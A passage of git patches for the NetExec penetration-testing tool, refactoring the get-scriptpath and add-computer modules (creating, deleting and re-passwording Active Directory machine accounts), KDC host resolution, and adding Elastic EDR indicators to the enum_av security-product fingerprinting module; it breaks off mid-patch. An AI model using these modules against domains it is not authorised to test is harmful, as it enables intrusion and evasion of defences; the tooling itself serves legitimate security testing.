self.FILTER: + if not self.filter: context.log.debug("No filter option enabled") return answers # Filter - context.log.debug(f"Filter info field with: {self.FILTER}") - return [answer for answer in answers if self.FILTER in answer[0]] + context.log.debug(f"Filter info field with: {self.filter}") + return [answer for answer in answers if self.filter in answer[0]] def save_to_file(self, context, answers): """Save the results to a JSON file.""" @@ -68,9 +68,9 @@ def save_to_file(self, context, answers): json_data = [{"sAMAccountName": answer[0], "scriptPath": answer[1]} for answer in answers] # Save the JSON data to the specified file - with open(self.OUTPUTFILE, "w") as f: + with open(self.outputfile, "w") as f: json.dump(json_data, f, indent=4) - context.log.success(f"Results successfully saved to {self.OUTPUTFILE}") + context.log.success(f"Results successfully saved to {self.outputfile}") except Exception as e: context.log.error(f"Failed to save results to file: {e}") From ea9b661a0e0eb609b4bd3351e8fea2ee2328d854 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 15:00:07 -0400 Subject: [PATCH 086/165] Simplify filtering --- nxc/modules/get-scriptpath.py | 26 ++++++++------------------ 1 file changed, 8 insertions(+), 18 deletions(-) diff --git a/nxc/modules/get-scriptpath.py b/nxc/modules/get-scriptpath.py index 7e50157f8e..50394f69bc 100644 --- a/nxc/modules/get-scriptpath.py +++ b/nxc/modules/get-scriptpath.py @@ -36,30 +36,20 @@ def on_login(self, context, connection): ) context.log.debug(f"Total of records returned {len(resp)}") - resp_parsed = parse_result_attributes(resp) - answers = [[x["sAMAccountName"], x["scriptPath"]] for x in resp_parsed] + answers = parse_result_attributes(resp) + context.log.debug(f"Filtering for scriptPath containing: {self.filter}") + filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers)) - answers = self.filter_answer(context, answers) - - if answers: + if filtered_answers: context.log.success("Found the following attributes: ") - for answer in answers: - context.log.highlight(f"User: {answer[0]:<20} ScriptPath: {answer[1]}") + for answer in filtered_answers: + context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}") # Save the results to a file if self.outputfile: - self.save_to_file(context, answers) + self.save_to_file(context, filtered_answers) else: - context.log.warning("No results found after filtering.") - - def filter_answer(self, context, answers): - # No filter - if not self.filter: - context.log.debug("No filter option enabled") - return answers - # Filter - context.log.debug(f"Filter info field with: {self.filter}") - return [answer for answer in answers if self.filter in answer[0]] + context.log.fail("No results found after filtering.") def save_to_file(self, context, answers): """Save the results to a JSON file.""" From 37194c6568a35db545e63e19f9a5957198436b58 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 17 Mar 2026 15:18:30 -0400 Subject: [PATCH 087/165] Fix json formatting --- nxc/modules/get-scriptpath.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/get-scriptpath.py b/nxc/modules/get-scriptpath.py index 50394f69bc..b5e63887ac 100644 --- a/nxc/modules/get-scriptpath.py +++ b/nxc/modules/get-scriptpath.py @@ -55,7 +55,7 @@ def save_to_file(self, context, answers): """Save the results to a JSON file.""" try: # Format answers as a list of dictionaries for JSON output - json_data = [{"sAMAccountName": answer[0], "scriptPath": answer[1]} for answer in answers] + json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers] # Save the JSON data to the specified file with open(self.outputfile, "w") as f: From 39f3a2836a8f17e9870ecb23f968f147223310fb Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 17 Mar 2026 20:50:16 +0100 Subject: [PATCH 088/165] fix conflicts --- nxc/modules/add-computer.py | 31 ++----------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 744203337c..fed920a822 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -125,34 +125,7 @@ def _samr_execute(self, dce, target_name): return selected = matched[0]["Name"] else: - try: - samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName]) - self.noLDAPRequired = True - self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"') - except samr.DCERPCSessionError as e: - self.context.log.debug(f"samrLookupNamesInDomain failed: {e}") - if "STATUS_NONE_MAPPED" not in str(e): - self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}") - return - try: - user_handle = samr.hSamrCreateUser2InDomain( - dce, - domain_handle, - self.__computerName, - samr.USER_WORKSTATION_TRUST_ACCOUNT, - samr.USER_FORCE_PASSWORD_CHANGE, - )["UserHandle"] - self.noLDAPRequired = True - self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'") - self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword) - except Exception as e: - self.context.log.debug(f"samrCreateUser2InDomain failed: {e}") - # See error codes at: https://github.com/fortra/impacket/blob/8c155a5b492e8b0f9d08e5ca82b72c91d76f5c7f/impacket/dcerpc/v5/samr.py#L2591 - if "Authenticating account doesn't have the right to create a new machine account!" in str(e): - self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}") - elif "Authenticating account's machine account quota exceeded!" in str(e): - self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}") - return + selected = non_builtin[0]["Name"] domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"] domain_handle = samr.hSamrOpenDomain( @@ -334,4 +307,4 @@ def _ldap_add(self, ldap_conn, dn, name): elif "constraintViolation" in err: self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.") else: - self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") + self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") \ No newline at end of file From 475078d1961ac4df55d4d4d4fd7e8adb530dca9a Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Tue, 17 Mar 2026 20:51:48 +0100 Subject: [PATCH 089/165] ruff fix --- nxc/modules/add-computer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index fed920a822..ae14ab44eb 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -307,4 +307,4 @@ def _ldap_add(self, ldap_conn, dn, name): elif "constraintViolation" in err: self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.") else: - self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") \ No newline at end of file + self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") From 1fdd259a71127cb48d85bb4ce39382291697f920 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:19:11 -0400 Subject: [PATCH 090/165] Fix options text --- nxc/modules/add-computer.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index ae14ab44eb..a0f64164bc 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -30,13 +30,10 @@ def options(self, context, module_options): DELETE Set to delete the computer account. CHANGEPW Set to change an existing computer's password. - Usage: + Usage (same syntax for ldap): nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1" - nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" PASSWORD="Password1" nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True - nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" DELETE=True nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True - nxc ldap $DC-IP -u Username -p Password --port 636 -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True """ self.delete = "DELETE" in module_options self.no_add = False From 1517597dbaa2938f058e881842fbabb57e96db35 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:26:31 -0400 Subject: [PATCH 091/165] Remove unnecessary checks --- nxc/modules/add-computer.py | 8 -------- 1 file changed, 8 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index a0f64164bc..4fb99a5a02 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -220,14 +220,6 @@ def _do_ldap(self): conn = self.connection ldap_connection = conn.ldap_connection - if not ldap_connection: - self.context.log.fail("No LDAP connection available") - return - - if conn.port != 636: - self.context.log.fail("LDAP module requires LDAPS. Use --port 636.") - return - name = self.computer_name.rstrip("$") computer_dn = f"CN={name},CN=Computers,{conn.baseDN}" From c169d28bdad1f4828d21412b1fa4afadb33fef75 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:27:38 -0400 Subject: [PATCH 092/165] Remove LDAPS statements --- nxc/modules/add-computer.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 4fb99a5a02..1666cd6039 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -257,7 +257,7 @@ def _ldap_change_password(self, ldap_conn, dn): elif "insufficientAccessRights" in err: self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"') elif "unwillingToPerform" in err: - self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}". Verify LDAPS.') + self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"') else: self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}') @@ -292,7 +292,7 @@ def _ldap_add(self, ldap_conn, dn, name): elif "insufficientAccessRights" in err: self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'") elif "unwillingToPerform" in err: - self.context.log.fail("Server unwilling to perform. Verify LDAPS is active.") + self.context.log.fail("Server unwilling to perform") elif "constraintViolation" in err: self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.") else: From 9bff5bbbed6767b8d2eb01f2a1a9419602d6c88d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:29:45 -0400 Subject: [PATCH 093/165] Formatting --- nxc/modules/add-computer.py | 31 +++++++++++++------------------ 1 file changed, 13 insertions(+), 18 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 1666cd6039..15a4636a57 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -205,12 +205,11 @@ def _samr_create(self, dce, domain_handle, username): samr.USER_FORCE_PASSWORD_CHANGE, )["UserHandle"] except samr.DCERPCSessionError as e: - err = str(e) - if "STATUS_USER_EXISTS" in err: + if "STATUS_USER_EXISTS" in str(e): self.context.log.fail(f"Computer '{self.computer_name}' already exists") - elif "STATUS_ACCESS_DENIED" in err: + elif "STATUS_ACCESS_DENIED" in str(e): self.context.log.fail(f"{username} does not have the right to create a computer account") - elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in err: + elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e): self.context.log.fail(f"{username} exceeded the machine account quota") else: self.context.log.fail(f"Error creating computer: {e}") @@ -236,10 +235,9 @@ def _ldap_delete(self, ldap_conn, dn): self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account') self._db_remove_credential() except LDAPSessionError as e: - err = str(e) - if "noSuchObject" in err: + if "noSuchObject" in str(e): self.context.log.fail(f'Computer "{self.computer_name}" was not found') - elif "insufficientAccessRights" in err: + elif "insufficientAccessRights" in str(e): self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"') else: self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}') @@ -251,19 +249,17 @@ def _ldap_change_password(self, ldap_conn, dn): self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'") self._db_add_credential() except LDAPSessionError as e: - err = str(e) - if "noSuchObject" in err: + if "noSuchObject" in str(e): self.context.log.fail(f'Computer "{self.computer_name}" was not found') - elif "insufficientAccessRights" in err: + elif "insufficientAccessRights" in str(e): self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"') - elif "unwillingToPerform" in err: + elif "unwillingToPerform" in str(e): self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"') else: self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}') def _ldap_add(self, ldap_conn, dn, name): - domain = self.connection.domain - fqdn = f"{name}.{domain}" + fqdn = f"{name}.{self.connection.domain}" spns = [ f"HOST/{name}", f"HOST/{fqdn}", @@ -286,14 +282,13 @@ def _ldap_add(self, ldap_conn, dn, name): self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"') self._db_add_credential() except LDAPSessionError as e: - err = str(e) - if "entryAlreadyExists" in err: + if "entryAlreadyExists" in str(e): self.context.log.fail(f"Computer '{self.computer_name}' already exists") - elif "insufficientAccessRights" in err: + elif "insufficientAccessRights" in str(e): self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'") - elif "unwillingToPerform" in err: + elif "unwillingToPerform" in str(e): self.context.log.fail("Server unwilling to perform") - elif "constraintViolation" in err: + elif "constraintViolation" in str(e): self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.") else: self.context.log.fail(f"Failed to add '{self.computer_name}': {e}") From 25b72e1bd2281500d260416489cfd3072f643f26 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:35:33 -0400 Subject: [PATCH 094/165] Remove unnecessary checks --- nxc/modules/add-computer.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 15a4636a57..c150d4fd4d 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -72,8 +72,7 @@ def _db_remove_credential(self): db = self.context.db domain = self.connection.domain rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name) - if rows: - db.remove_credentials([row[0] for row in rows]) + db.remove_credentials([row[0] for row in rows]) except Exception as e: self.context.log.debug(f"Could not remove credentials from DB: {e}") From b7d0463ea49de37920ba93909fe55e15f2b5eee8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:35:44 -0400 Subject: [PATCH 095/165] Formatting --- nxc/modules/add-computer.py | 37 ++++++++----------------------------- 1 file changed, 8 insertions(+), 29 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index c150d4fd4d..23e0caa581 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -81,12 +81,7 @@ def _db_add_credential(self): def _do_samr(self): conn = self.connection - rpc_transport = transport.SMBTransport( - conn.conn.getRemoteHost(), - 445, - r"\samr", - smb_connection=conn.conn, - ) + rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn) try: dce = rpc_transport.get_dce_rpc() @@ -105,12 +100,7 @@ def _samr_execute(self, dce, target_name): domain = self.connection.domain username = self.connection.username - serv_handle = samr.hSamrConnect5( - dce, - f"\\\\{target_name}\x00", - samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN, - )["ServerHandle"] - + serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"] domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"] non_builtin = [d for d in domains if d["Name"].lower() != "builtin"] @@ -124,11 +114,7 @@ def _samr_execute(self, dce, target_name): selected = non_builtin[0]["Name"] domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"] - domain_handle = samr.hSamrOpenDomain( - dce, serv_handle, - samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, - domain_sid, - )["DomainHandle"] + domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] user_handle = None try: @@ -198,11 +184,7 @@ def _samr_create(self, dce, domain_handle, username): return None try: - return samr.hSamrCreateUser2InDomain( - dce, domain_handle, self.computer_name, - samr.USER_WORKSTATION_TRUST_ACCOUNT, - samr.USER_FORCE_PASSWORD_CHANGE, - )["UserHandle"] + return samr.hSamrCreateUser2InDomain(dce, domain_handle, self.computer_name, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE)["UserHandle"] except samr.DCERPCSessionError as e: if "STATUS_USER_EXISTS" in str(e): self.context.log.fail(f"Computer '{self.computer_name}' already exists") @@ -215,18 +197,15 @@ def _samr_create(self, dce, domain_handle, username): return None def _do_ldap(self): - conn = self.connection - ldap_connection = conn.ldap_connection - name = self.computer_name.rstrip("$") - computer_dn = f"CN={name},CN=Computers,{conn.baseDN}" + computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}" if self.delete: - self._ldap_delete(ldap_connection, computer_dn) + self._ldap_delete(self.connection.ldap_connection, computer_dn) elif self.no_add: - self._ldap_change_password(ldap_connection, computer_dn) + self._ldap_change_password(self.connection.ldap_connection, computer_dn) else: - self._ldap_add(ldap_connection, computer_dn, name) + self._ldap_add(self.connection.ldap_connection, computer_dn, name) def _ldap_delete(self, ldap_conn, dn): try: From 06c0735676e89898232a3fe36d3480e9eabbc554 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:41:34 -0400 Subject: [PATCH 096/165] Simplify code --- nxc/modules/add-computer.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 23e0caa581..0f0c488589 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -98,7 +98,6 @@ def _do_samr(self): def _samr_execute(self, dce, target_name): domain = self.connection.domain - username = self.connection.username serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"] domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"] @@ -116,9 +115,11 @@ def _samr_execute(self, dce, target_name): domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"] domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] - user_handle = None try: - user_handle = self._samr_open_existing(dce, domain_handle, selected, username) if self.no_add or self.delete else self._samr_create(dce, domain_handle, username) + if self.delete and self.no_add: # noqa: SIM108 + user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username) + else: + user_handle = self._samr_create(dce, domain_handle, self.connection.username) if user_handle is None: return From 7724e882a05bd7a6975b9dec6a53d36e3782a6ca Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:42:58 -0400 Subject: [PATCH 097/165] Clarify variable name --- nxc/modules/add-computer.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 0f0c488589..0b3ea84f96 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -36,13 +36,13 @@ def options(self, context, module_options): nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True """ self.delete = "DELETE" in module_options - self.no_add = False + self.change_pw = False if "CHANGEPW" in module_options: if "NAME" not in module_options or "PASSWORD" not in module_options: context.log.error("NAME and PASSWORD options are required for CHANGEPW!") sys.exit(1) - self.no_add = True + self.change_pw = True if "NAME" not in module_options: context.log.error("NAME option is required!") @@ -116,7 +116,7 @@ def _samr_execute(self, dce, target_name): domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"] try: - if self.delete and self.no_add: # noqa: SIM108 + if self.delete or self.change_pw: # noqa: SIM108 user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username) else: user_handle = self._samr_create(dce, domain_handle, self.connection.username) @@ -131,7 +131,7 @@ def _samr_execute(self, dce, target_name): self._db_remove_credential() else: samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password) - if self.no_add: + if self.change_pw: self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'") else: user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle) @@ -203,7 +203,7 @@ def _do_ldap(self): if self.delete: self._ldap_delete(self.connection.ldap_connection, computer_dn) - elif self.no_add: + elif self.change_pw: self._ldap_change_password(self.connection.ldap_connection, computer_dn) else: self._ldap_add(self.connection.ldap_connection, computer_dn, name) From 05cc920c80c371795bffbb9e4381aa8b353e3154 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 05:52:27 -0400 Subject: [PATCH 098/165] Formatting --- nxc/modules/add-computer.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index 0b3ea84f96..b5086c8b22 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -163,12 +163,12 @@ def _samr_open_existing(self, dce, domain_handle, selected_domain, username): self.context.log.fail(f"Error looking up {self.computer_name}: {e}") return None - access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE - action = "delete" if self.delete else "change password for" try: + access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"] except samr.DCERPCSessionError as e: if "STATUS_ACCESS_DENIED" in str(e): + action = "delete" if self.delete else "change password for" self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'") else: self.context.log.fail(f"Error opening {self.computer_name}: {e}") From 6228c18433cc117ce88e750de73843f212ef997b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 18 Mar 2026 06:11:26 -0400 Subject: [PATCH 099/165] Fix exception handling as in #1081 --- nxc/modules/add-computer.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/nxc/modules/add-computer.py b/nxc/modules/add-computer.py index b5086c8b22..723ddc9eca 100644 --- a/nxc/modules/add-computer.py +++ b/nxc/modules/add-computer.py @@ -185,7 +185,13 @@ def _samr_create(self, dce, domain_handle, username): return None try: - return samr.hSamrCreateUser2InDomain(dce, domain_handle, self.computer_name, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE)["UserHandle"] + # Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599 + request = samr.SamrCreateUser2InDomain() + request["DomainHandle"] = domain_handle + request["Name"] = self.computer_name + request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT + request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE + return dce.request(request) except samr.DCERPCSessionError as e: if "STATUS_USER_EXISTS" in str(e): self.context.log.fail(f"Computer '{self.computer_name}' already exists") From 5a955ddf392071ef9e233b224d0f3513ab6a56ec Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 18 Mar 2026 11:30:48 +0100 Subject: [PATCH 100/165] fallback kdcHost to target IP when DNS resolution fails --- nxc/protocols/smb.py | 2 +- nxc/protocols/winrm.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d827ca8f9a..52ec166def 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -288,7 +288,7 @@ def enum_host_info(self): # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) - self.kdcHost = result["host"] if result else None + self.kdcHost = result["host"] if result else self.host self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 7bce374a71..68ef3c242f 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -79,6 +79,11 @@ def enum_host_info(self): if self.args.local_auth: self.domain = self.hostname + if not self.kdcHost and self.domain and self.domain == self.targetDomain: + result = self.resolver(self.domain) + self.kdcHost = result["host"] if result else self.host + self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + def print_host_info(self): self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM" self.logger.extra["port"] = self.port From 8e5a4fb8146e85442ab24b27185e68567ae92b7b Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 18 Mar 2026 11:45:51 +0100 Subject: [PATCH 101/165] handle kdcHost None gracefully, avoid self.host fallback for non-DC targets --- nxc/helpers/pfx.py | 4 ++++ nxc/protocols/smb.py | 2 +- nxc/protocols/winrm.py | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index f6e9326ea1..8c5e467c56 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -495,6 +495,10 @@ def pfx_auth(self): req = ini.build_asreq(self.domain, username) self.logger.info("Requesting TGT") + if not self.kdcHost: + self.logger.fail("Could not resolve KDC host for domain %s. Use --kdcHost to specify the domain controller IP" % self.domain) + return False + sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) try: res = sock.sendrecv(req) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 52ec166def..d827ca8f9a 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -288,7 +288,7 @@ def enum_host_info(self): # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) - self.kdcHost = result["host"] if result else self.host + self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 68ef3c242f..7e4e54823b 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -81,7 +81,7 @@ def enum_host_info(self): if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) - self.kdcHost = result["host"] if result else self.host + self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): From a869a3fe12ed79631e9e62a8ae425996b6b0e2d1 Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 18 Mar 2026 11:53:43 +0100 Subject: [PATCH 102/165] Update enum_av.py With Elastic EDR Version 9.3.0 indicator Elastic EDR: services (Elastic Agent, ElasticEndpoint) and pipes (ElasticEndpointServiceComms-*, elastic-agent-system). Version 9.3.0 Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/nxc/modules/enum_av.py b/nxc/modules/enum_av.py index 0bca057379..3b83280d1e 100644 --- a/nxc/modules/enum_av.py +++ b/nxc/modules/enum_av.py @@ -497,6 +497,17 @@ def LsarLookupNames(self, dce, policyHandle, service): "pipes": [ {"name": "aswCallbackPipe*", "processes": ["AvastSvc.exe", "aswEngSrv.exe"]}, {"name": "avgCallbackPipe*", "processes": ["AVGSvc.exe", "aswEngSrv.exe"]} + ] + }, + { + "name": "Elastic EDR", + "services": [ + {"name": "Elastic Agent", "description": "Elastic Agent Service"}, + {"name": "ElasticEndpoint", "description": "Elastic Endpoint Security Service"} + ], + "pipes": [ + {"name": "ElasticEndpointServiceComms-*", "processes": ["elastic-endpoint.exe"]}, + {"name": "elastic-agent-system", "processes": ["elastic-agent.exe"]} ] } ] From 82dcdd191cd570ec6bbd790d35d819474e1932ec Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Wed, 18 Mar 2026 11:54:13 +0100 Subject: [PATCH 103/165] ruff fix --- nxc/helpers/pfx.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 8c5e467c56..fa9491c85e 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -496,7 +496,7 @@ def pfx_auth(self): self.logger.info("Requesting TGT") if not self.kdcHost: - self.logger.fail("Could not resolve KDC host for domain %s. Use --kdcHost to specify the domain controller IP" % self.domain) + self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP") return False sock = KerberosClientSocket(KerberosTarget(self.kdcHost)) From ca62afcdeaa3114b04d5b21705191478692517e5 Mon Sep 17 00:00:00 2001 From: P'tit Snake Date: Wed, 18 Mar 2026 13:51:14 +0100 Subject: [PATCH 104/165] Update enum_av.py : Reorder products alphabetically and add Elastic EDR indicators Sorted all endpoint protection products in alphabetical order for consistency and easier maintenance. Added Elastic EDR detection Signed-off-by: P'tit Snake --- nxc/modules/enum_av.py | 99 +++++++++++++++++++++--------------------- 1 file changed, 49 insertions(+), 50 deletions(-) diff --git a/nxc/modules/enum_av.py 